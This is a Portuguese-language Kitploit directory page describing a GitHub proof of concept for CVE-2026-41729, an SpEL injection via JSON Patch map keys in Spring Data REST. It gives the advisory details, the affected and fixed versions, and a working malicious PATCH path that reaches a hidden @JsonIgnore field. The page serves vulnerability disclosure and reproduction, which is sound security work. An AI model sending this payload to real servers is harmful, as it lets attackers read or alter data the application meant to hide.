Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-41729 — CVE-2026-41729 PoC | Kitploit
Ferramentas/GitHubGitHub/daehyuh/cve-2026-41729
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubdaehyuh/cve-2026-41729

CVE-2026-41729

CVE-2026-41729 PoC

Ver Repositório
2há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-41729: PoC de Injeção SpEL via Chave de Mapa em JSON Patch no Spring Data REST

Este repositório é um PoC de reprodução mínima do CVE-2026-41729, divulgado no comunicado oficial de segurança da Spring.

  • Comunicado oficial: https://spring.io/security/cve-2026-41729/
  • Título oficial: Spring Data REST SpEL Injection via Map Key in JSON Patch
  • Gravidade: Alta
  • CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • Data de divulgação: 2026-06-09

Resumo da Vulnerabilidade

Quando o Spring Data REST processa requisições JSON Patch (Content-Type: application/json-patch+json), havia um problema de inserção direta do fragmento de caminho da chave do mapa de uma propriedade do tipo map em uma expressão SpEL.

De acordo com o comunicado oficial, se uma entidade persistente expõe uma propriedade do tipo Map e um atacante pode enviar uma requisição PATCH para o recurso do item, ele pode manipular o segmento da chave do mapa para escapar do literal do indexador de mapa pretendido e avaliar subexpressões SpEL no contexto da raiz do agregado. Foi divulgado que tanto o caminho de patch de leitura quanto o de escrita são afetados.

Baixar ferramenta

Este PoC utiliza o caminho de patch de escrita para demonstrar que um campo @JsonIgnore, não exposto na representação REST normal, é alterado por um caminho JSON Patch malicioso.

Escopo de Impacto

Produtos afetados conforme comunicado oficial:

  • Spring Data REST

Versões afetadas:

  • 3.7.0 - 3.7.19
  • 4.3.0 - 4.3.16
  • 4.4.0 - 4.4.14
  • 4.5.0 - 4.5.11
  • 5.0.0 - 5.0.5
  • Versões anteriores não suportadas também podem ser afetadas

Versões corrigidas:

  • 3.7.20
  • 4.3.17
  • 4.4.15
  • 4.5.12 ou 4.5.11.1
  • 5.0.6 ou 5.0.5.1

O que este PoC demonstra

O teste inicia uma aplicação Spring Boot real e envia requisições HTTP PATCH para o endpoint do repositório Spring Data REST.

O objeto de domínio possui a seguinte estrutura:

  • Um mapa people exposto externamente
  • Um mapa hiddenChildren dentro de cada Person, mas oculto na representação Jackson/Spring Data REST

Na resposta REST normal, hiddenChildren e seus valores internos não são visíveis.

root@kitploit:~
GET /wrappers/sample

Um JSON Patch que especifica diretamente a propriedade oculta é rejeitado.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a/hiddenChildren/b/name",
    "value": "after"
  }
]

No entanto, usando uma chave de mapa manipulada, é possível escapar do literal da chave de mapa pretendido durante o processo de conversão de caminho JSON Patch para caminho SpEL no Spring Data REST, levando ao caminho da propriedade oculta.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a'].hiddenChildren['b/name",
    "value": "after"
  }
]

Na versão vulnerável, esta requisição é bem-sucedida e o valor interno muda conforme abaixo:

root@kitploit:~
before -> after

O teste confirma que não foi criada uma chave real a'].hiddenChildren['b no mapa, mas sim que o caminho da propriedade oculta foi modificado devido ao breakout da expressão.

Como Executar

Windows:

root@kitploit:~
.\mvnw.cmd test

macOS/Linux:

root@kitploit:~
./mvnw test

Resultado esperado na versão vulnerável:

root@kitploit:~
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

O sucesso do teste significa que o comportamento vulnerável foi reproduzido. Ou seja, na dependência vulnerável, a requisição JSON Patch maliciosa é bem-sucedida, demonstrando a alteração do estado interno oculto.

Dependências Utilizadas

Este repositório utiliza o parent Spring Boot 3.5.14, resultando na resolução do spring-data-rest-webmvc 4.5.11. Isso está dentro do escopo de impacto do comunicado oficial: 4.5.0 - 4.5.11.

Por que é Perigoso

Um atacante que pode enviar requisições JSON Patch para um endpoint Spring Data REST pode manipular a chave do mapa para induzir uma avaliação não intencional de caminho SpEL no servidor. Como resultado, valores internos do grafo de objetos que a aplicação pretendia não expor na representação REST podem ser lidos ou modificados.

O comunicado oficial avaliou o impacto na confidencialidade e integridade como Alto.

Crédito

O comunicado oficial da Spring menciona o seguinte:

  • Daehyun Kang (@daehyuh)

Links de Referência

  • Comunicado oficial da Spring: https://spring.io/security/cve-2026-41729/
  • Calculadora CVSS: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&version=3.1